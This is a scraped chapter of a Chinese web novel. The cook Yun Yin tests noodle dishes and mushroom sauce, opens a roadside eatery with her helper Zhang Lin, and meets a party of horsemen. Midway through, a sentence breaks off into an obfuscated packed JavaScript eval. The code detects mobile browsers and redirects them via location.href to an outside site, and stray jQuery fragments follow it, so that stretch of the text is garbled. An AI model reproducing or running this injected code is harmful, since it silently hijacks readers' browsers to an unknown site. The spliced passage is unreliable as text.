今日云音要做的事还有很多,除了要准备摆摊的事情,剩下的便是试菜。
正好张林从临江村请来修建茅草屋的人也到了,云音要负责他们的午食和晚食,她打算让他们尝尝,看合不合他们的口味。
酸菜鱼张林已经试过,主食除了米饭,另一个选择便是面条。
云音准备做两种面条,一种是阳春面,另一个是葱油拌面。
阳春面做起来很简单,云音先去准备高汤。以前她图简单时,都不会煮高汤,直接煮面放一点猪油和酱油,最后再撒点葱花,就很美味了。
现在要卖给客人,自然还是煮点高汤味道更好。云音洗干净猪大骨,扔进大釜中煮着,放点姜去味,添柴后就不用管了。
面条需要和面,云音拿出一个大盆把磨好的面粉倒进去,用一斤面半斤水的比例和面,在里面放一点点盐,最后揉成一个粗糙的面团。
这个面团放在一边醒一醒,再二次揉至表面光滑。
揉好后把这团面分割成一个个小团子,搓成条状后抹一点油,放到一边静止。
等要煮面时,把这个醒好的面团拉伸,就能得到比较满意的面条了。
面条准备好,云音去处理鱼,因为这次人多,云音又加了些买的白菜。酸菜鱼里面煮的白菜也很好吃,特别下饭。
她最后准备葱油,这个做起来也很简单,倒好大豆油,把洗干净切段的葱白和葱叶分开放入锅里,用小火慢慢炸着。
等葱段变得焦黄,葱的香气也被完全激发后,倒入酱油和□□糖,等糖搅拌融化这就算炸好了。
在云音做酸菜鱼时,那些干活的人已经心不在焉了,等到她炸葱油时,那些人更是频频望向云音的方向。
云音看着天色差不多时,开始抻面煮面条。
张林去招呼干活的人过来吃面,云音把煮好的阳春面递给他们道:“先吃着,之后还有葱油拌面,当然不喜欢面条,也可以吃米饭。”
云音等他们吃上了,也端了一碗葱油拌面吃起来。
别看葱油拌面是很简单的做法,或许正是因为简单,只有食物最原本的味道,所以不论是面条的麦香,还是葱油的葱香,融合后才能迸发出不一样的惊艳。
云音迅速把一碗葱油拌面吃完,这时再来一碗带汤的阳春面,真是神仙来了也挡不住。
她吃饱后见临江村的村民吃的脸都要埋到碗里了,心里也很高兴。
自己做的食物被人如此捧场,对于厨子来说就是最大的嘉奖了。
他们对云音做的面表示高度赞扬,每个人都说是他们吃过最好吃的面和菜。云音见他们都喜欢,也决定先卖这两种面试试情况,等有客人关顾后,再添加菜品。
她如今手里的钱并不多,先卖这些简单易得的食物,等挣到钱再说。
云音的茅草屋很快便盖好了,她查看没有什么问题,将这两日的工钱交给他们道:“按照我们之前说的,等这茅草屋修好,再帮我建一座。”
这是云音一早就决定的,张林既然帮她干活,自然不能让他没有地方住。
官道旁的那个茅草屋到底是别人建的,虽然能暂住,但也不能让张林一直住着。
正好趁着他们现在还有空,在那间茅草屋旁再建一个,如此张林也有地方可以住。
等他们去选地方了,云音则去做摆摊的最后准备,桌子椅子这些之前去镇上时已经让人做了,她只要拿回来就好了。
云音把之前藏起来的背篓拿回来,又去山里把玻璃罐子个书找出来,一起放回茅草屋,锁好屋门与张林说一声往镇上去了。
这里有张林盯着,她也放心,她还有好些调料没有买齐,若不是县里太远了,她还是想去县里看看。
而且给罗蔓的蘑菇酱也要开始准备了,云音把从镇上带回的桌椅放在一边,提过张林收购回来的干蘑菇检查。
他买回来的都是草菇,听张林的意思是,大家平日吃这种蘑菇最多,所以采蘑菇时,也会优先采集这种蘑菇。至于云音之前在云雾村采的牛肝菌之类的蘑菇,目前还没在这些菌菇里发现,也不知是他们不认识所以不吃,还是这里没有。
若是她以后想吃,恐怕只能自己去山里寻找了。
云音先把干蘑菇泡发,又把买回来的新鲜猪瘦肉切丁,葱姜蒜也切碎放一边等会用。
等蘑菇泡好后,控干水分切成碎沫,热锅放入素油,等油热后放入猪肉丁,炒至变色再加入葱姜蒜沫,煸炒出香味。
镇上卖猪肉的那家猪肉是劁过的,所以猪肉并没有什么猪骚气,连肥肉也是肥而不腻,非常的香。
用这样的肉做出来的菜都非常好吃,猪肉炖白菜也是很香的。
所以镇上那家卖猪肉的生意特别好,哪怕猪肉的价格很贵,也有不少人去买,若是去的太晚就没有什么肉了,云音还是跟那东家定好,才拿到这么多的肉。
不过云音做的蘑菇酱用的是猪瘦肉,比起肥肉来,瘦肉倒是没那么受欢迎,所以她还是能定到,掌柜的也愿意一次性卖给她,若是她要肥肉,那就没那么容易了。
云音看着锅里噼里啪啦跳动的猪肉,想到以前奶奶还在时,也是这样守着灶台,而她就跟个跟屁虫一样,守着奶奶。
想到奶奶,她心情有些难受,好在她早已经习惯,现在只不过是换了个地方,她可以把日子越过越好,也会越来越幸福。
蘑菇倒进锅里,轻轻翻炒几下,等蘑菇变软出水后,放入适量黄豆酱,继续翻炒使蘑菇充分吸收酱料的味道。
最后加入适量酱油白糖和盐以及其他香料,倒入清水小火炖煮,直到水烧干就可以装到陶罐里。
云音趁着时间还早,多做一些蘑菇酱,等太阳西斜时,她才给大家准备晚食。
时间就在她做酱中慢慢划过,此时她已经把罗蔓需要的酱都做好了,她还多做了几十罐酱备用,其他的让张林给罗蔓送去了。
而官道旁的茅草屋也建造完成,云音与临江村的村民结清铜钱,她也要准备出摊了。
她摆好桌椅,又挂好旗子,旗子上写着云记饭馆,这还是找临江村的孙里正帮忙写的。
她满意看看这招牌,又在灶台旁边的桌子上摆好锅碗瓢盆,准备工作就做的差不多了。
面条是一早就揉好的,煮面要用的木柴,云音和张林也准备了许多,如今都在墙角堆着,就连高汤她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178745|180850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也一早熬好,正在灶台上用小火温着。
现在就缺客户了。
此时天才刚亮,太阳还没露出头来,官道上还没路过的人,云音也不着急,先给她和张林煮两碗阳春面吃着。
清晨的风还有着丝丝凉意,这时喝下一碗热乎乎的汤,那一丝凉意瞬息就被驱散了。
吃完早食,云音让张林去洗碗,她则去剥蒜瓣,等做午食时使用。
两个碗张林很快就洗完了,他一时间也不知道做什么,只能坐到云音旁边,拿起蒜也剥起来。
可他坐不住,蒜瓣也被他剥的七零八落,时不时还要往官道上看去,看是否有人前来。
云音见他实在是急躁,只能开口道:“别着急,天还早呢,等会人来了,估计你忙都忙不过来。”
张林扔下一个剥好的蒜道:“哎,昨日天不亮就有人经过,今天太阳都要出来了,还没人路过。”
“我也是着急,若是一直到晚上都没人来,可怎么办啊。”
云音摇摇头道:“做生意就是要有耐心,做饭馆只要食物好吃,价格实惠,你做得越久生意越好。”
“这才刚刚开始,你急什么,我都不着急。”
张林叹了一口气道:“好吧,我忍忍。”
可他就跟凳子上有钉子似的,怎么都坐不住,云音见他这样,只能赶他道:“既然你坐不住,那就去开荒吧。”
“之前里正分了十亩地给我,我还没想好在哪里开,你正好去看看哪里的土质好,我们开个一亩两亩的,可以种种葱蒜和青菜。”
“总不能什么都找别人买,该省钱的时候还是要省钱的。”
张林听了她的话,起身去拿锄头,“那我去附近看看,云娘子若是来人了,你记得喊我哈。”
云音挥挥手让他走了,等张林走后,这里顿时安静下来,只有锅里“咕咚咕咚”冒泡声。
她就这样坐在灶台旁,感受着徐徐吹来的清风,耳畔传来鸟雀啼叫的轻鸣,她慢悠悠剥着蒜瓣,享受着此时的静谧时光。
“嗒嗒嗒嗒”的马蹄声唤醒宁静的官道,鸟雀也似被这声音惊醒,从她头顶叽叽喳喳掠过,云音放好蒜瓣,把张林叫回来道:“你在这里守着,我去看看情况。”
她拍了拍因为久坐有些折痕的衣裙,摸一摸还在腰间绑好的鞭子,往官道方向走去。
云音走到官道边时,马蹄声越来越近,她凝神倾听片刻,只能大概估算出有十几人。
就在此时,一匹身高体壮的黑头大马率先出现在她眼前。
她眼前一亮道:“好漂亮的马啊。”
云音顺着马往上看,一个身穿圆领窄袖袍,身姿挺拔潇洒地坐在马上的俊俏男子出现在她眼前,那双炯炯有神的眼睛看过来时,还能从他眼里看到一闪而过的锋芒。
她立刻警惕起来,摸着腰间的鞭子直直盯着那男子。那男子也注意到云音的动作,扯着缰绳停下,并不靠近。
他身后的人也齐齐聚过来,把身后的货物保护起来。
云音眨了眨眼睛,好似这才发现她的动作有歧义,立刻放下手,一双杏眼无辜看向那男子道:“额,我想问问你们,要不要吃早食?”